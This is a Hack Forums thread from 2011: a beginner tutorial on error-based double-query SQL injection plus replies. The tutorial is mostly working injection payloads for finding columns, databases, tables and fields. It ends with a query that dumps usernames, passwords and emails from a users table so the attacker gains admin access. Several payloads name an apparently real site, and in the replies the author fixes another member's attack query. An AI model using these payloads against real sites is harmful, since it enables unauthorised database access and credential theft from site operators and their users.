Hack Forums
[TUT][noob friendly][PIC]ERROR BASED INJECTION(DOUBLE QUERY)[TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT][noob friendly][PIC]ERROR BASED INJECTION(DOUBLE QUERY)[TUT] (/showthread.php?tid=2010637)

Pages: Pages 1 2 3

[TUT][noob friendly][PIC]ERROR BASED INJECTION(DOUBLE QUERY)[TUT] - webb - Dec 14, 2011

This is my first tutorial in HF and I dont know how can write a good one! so sorry me for my bad english

Lets start injection
What you need a vul site like this

Code
www.site.com/artist.php?i=36

At first testing site for vul

Code
www.site.com/artist.php?i=36'
Spoiler (Click to View)

Ok lets go inject this

Code
www.site.com/artist.php?i=36 order by 10--  no error
www.site.com/artist.php?i=36 order by 20--  no error
www.site.com/artist.php?i=36 order by 50--  no error
www.site.com/artist.php?i=36 order by 100--    no error

So like string base lest try this

Code
www.site.com/artist.php?i=36' order by 100--+

Spoiler (Click to View)

Now going to get columns
Code
www.site.com/artist.php?i=36' order by 10--+    erro

www.site.com/artist.php?i=36' order by 8--+    error
www.site.com/artist.php?i=36' order by 6--+    error
www.site.com/artist.php?i=36' order by 5--+    no error

Ok find number of columns next step it using union to find vul column to inject there

Code
www.site.com/artist.php?i=36' union select 1,2,3,4,5--+
Spoiler (Click to View)

So what can we do trying another method like blind lets see it

Code
www.site.com/artist.php?i=36' and 1=1--+    its true not get error from this
www.site.com/artist.php?i=36' and 1=2--+    its false and steal no erro
Whats now?
Are we should give up and find other site?
No,lets try other method called ERROR BASED INJECTION(DOUBLE QUERY)

In this method we use specific syntax for getting data from database

The code we use for getting version,database and aslo user like this

Code
and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Now trying this syntax in our site

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+[code]
[spoiler][img]http://img830.imageshack.us/img830/2218/81406053.png[/img]

Notice: We dont have to use this hex
Code
0x7e,0x27
We can use the syntax without them and our code like this

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

It work fine but there is another problem you should know it.When we erase the hex value from code result of it like
Spoiler (Click to View)

As you see we have foregner "1" near version name and it will stay for all our results thus it maybe get confuse some one whoe new start this type of injection.
In this tutorial I write all syntax with hex value.

Tip:If our targer use version 4 and lower than it we can use this syntax for getting version and database name look at this

Code
http://www.kusuri.co.uk/view_product.php?id=242 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
Spoiler (Click to View)
Dont worry
There is another code for this type of site you can find version and database and user of site the code is like this

Code
or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or

Now trying this in site
Code
http://www.kusuri.co.uk/view_product.php?id=242 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+
Spoiler (Click to View)

As you see in the pic version 4 and we can success to find it

Now we have have version and database and move on to inject our target
Spoiler (Click to View)

For extact how many database exist in site we to use another syntax like this one

Code
and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Check results for our target

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,0x27,count(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
Spoiler (Click to View)

Now with useing this code and replacing in limit we can find all DB

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,0x27,concat(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

With replece in first limit we can get all requests from DB like this
Code
limit 0,1   for first exicting things  
limit 1,1  for two exicting things
  .
  .
  .  
limit N,1  for N exicting things


For getting tables from database I use this " table_schema=0x{hex-database-name} "
First take a look our picked DB have how many tables?

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name}
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+
Spoiler (Click to View)

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name}
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+
Spoiler (Click to View)

By giveing a number for firs limit all table are count
I find table name " mass_users " And now we should exratct column name of this table to get gain admin access.

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0x6d6173735f7573657273
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+
Spoiler (Click to View)

Only have five columns lets get it

Code
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0x6d6173735f7573657273
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+
Spoiler (Click to View)

Last step extract the value of this columns

Code
http://www.site.com/artist.php?i=36' and+(select 1 from(select+count(*),concat((select+concat(username,0x3a,password,0x3a,email) from mass_users+limit+0,1),floor(rand(0)*2))x
from information_schema.tables+group by x)a) and 1=1--+

Other reference you can use it

Double_Query/Error_Based
DOUBLE QUERY BASED SQL INJECTION
DOUBLE QUERY SQLI(ERROR BASED BLIND MYSQLI)

Hope it be usefull and my effort is this tutorial be easy to understand!



* - -zerocool - Dec 14, 2011

Well nice tutorial webb!!!
Simple and worth.
Thanks for this.

* - BeggFoMercy - Dec 14, 2011

Very good TUT very useful for begginers thankies bruh

* - Deathmage - Dec 14, 2011

Well done! Good and simple! So all can it will work without programs like SQLiHelper :)

* - webb - Dec 14, 2011

d4rkn3ss Wrote:Well nice tutorial webb!!!
Simple and worth.
Thanks for this.

Thanks for good feed back

BeggFoMercy Wrote:Very good TUT very useful for begginers thankies bruh

deathmage Wrote:Well done! Good and simple! So all can it will work without programs like SQLiHelper :)

Yah man you dont have a tools when you can do it manually

In the end thank for good feedbacks and I appreciate
I hope so this help someone who new start hacking



* - Zhen. - Dec 14, 2011

Thanks for the awesome tutorial man!
This will surely help a lot of people facing this common issue.
Keep up the good work

* - DD0Sed - Dec 14, 2011

lol "nood friendly"
Anyway great tut

* - webb - Dec 14, 2011

zerofreak Wrote:Thanks for the awesome tutorial man!
This will surely help a lot of people facing this common issue.
Keep up the good work

Really appreciate zerofreak for your good feedback

DD0Se Wrote:lol "nood friendly"
Anyway great tut

Yeh man I sayed my english is crap going to edit it
Any way thanks for good feedback

If any things else tell me to edit it before 1440 get done

* - Hooded Robin - Dec 14, 2011

This is a nice tutorial but it should be moved to the SQL injection Attacks Sub-forum where it belongs...

* - VipVince - Dec 14, 2011

Can anyone see what is wrong with my query here:

Quote:http://site.com/book.php?id=1 and (select 1 from (select count(*),concat((select (select (select distinct concat(table_name) FROM information_schema.tables where table_schema=0x626f6f6b7331 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)

Giving me a damn syntax error?

* - webb - Dec 14, 2011

Hooded Robin Wrote:This is a nice tutorial but it should be moved to the SQL injection Attacks Sub-forum where it belongs...
Thanks for feedback Hooded Robin I cant move this is there any way I here you

VipVince Wrote:Can anyone see what is wrong with my query here:

http://site.com/book.php?id=1 and (select 1 from (select count(*),concat((select (select (select distinct concat(table_name) FROM information_schema.tables where table_schema=0x626f6f6b7331 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)

Giving me a damn syntax error?

As I see you write this "xfrom" and it should be like this " x from "
try this
Code
http://site.com/book.php?id=1 and (select 1 from (select count(*),concat((select (select (select distinct concat(table_name) FROM information_schema.tables where table_schema=0x626f6f6b7331 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

hope its work

* - Sql Ruined My life - Dec 15, 2011

This is one Of the best ERROR BASED Injection tutorial on Hackforums from a Great SQL Injector..
It helped me Alot in understanding this Method and made my concept clear.

HERE IS A BUMP FOR THIS EXCELLENT THREAD

Great Work Webb 🤝 🤝

* - webb - Dec 15, 2011

Sql Ruined My life Wrote:This is one Of the best ERROR BASED Injection tutorial on Hackforums from a Great SQL Injector..
It helped me Alot in understanding this Method and made my concept clear.

HERE IS A BUMP FOR THIS EXCELLENT THREAD

Great Work Webb Black Hat Black Hat

Thanks for good feedback
I'm glad now to can help you I do my best in this tut to be easy for understanding

* - mirkops - Dec 15, 2011

Dear I have found with this:
or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or

version 4; and how can I follow with the query for find tables..thanks a lot

* - webb - Dec 16, 2011

In version 4 you cant you information_schema you should guess all things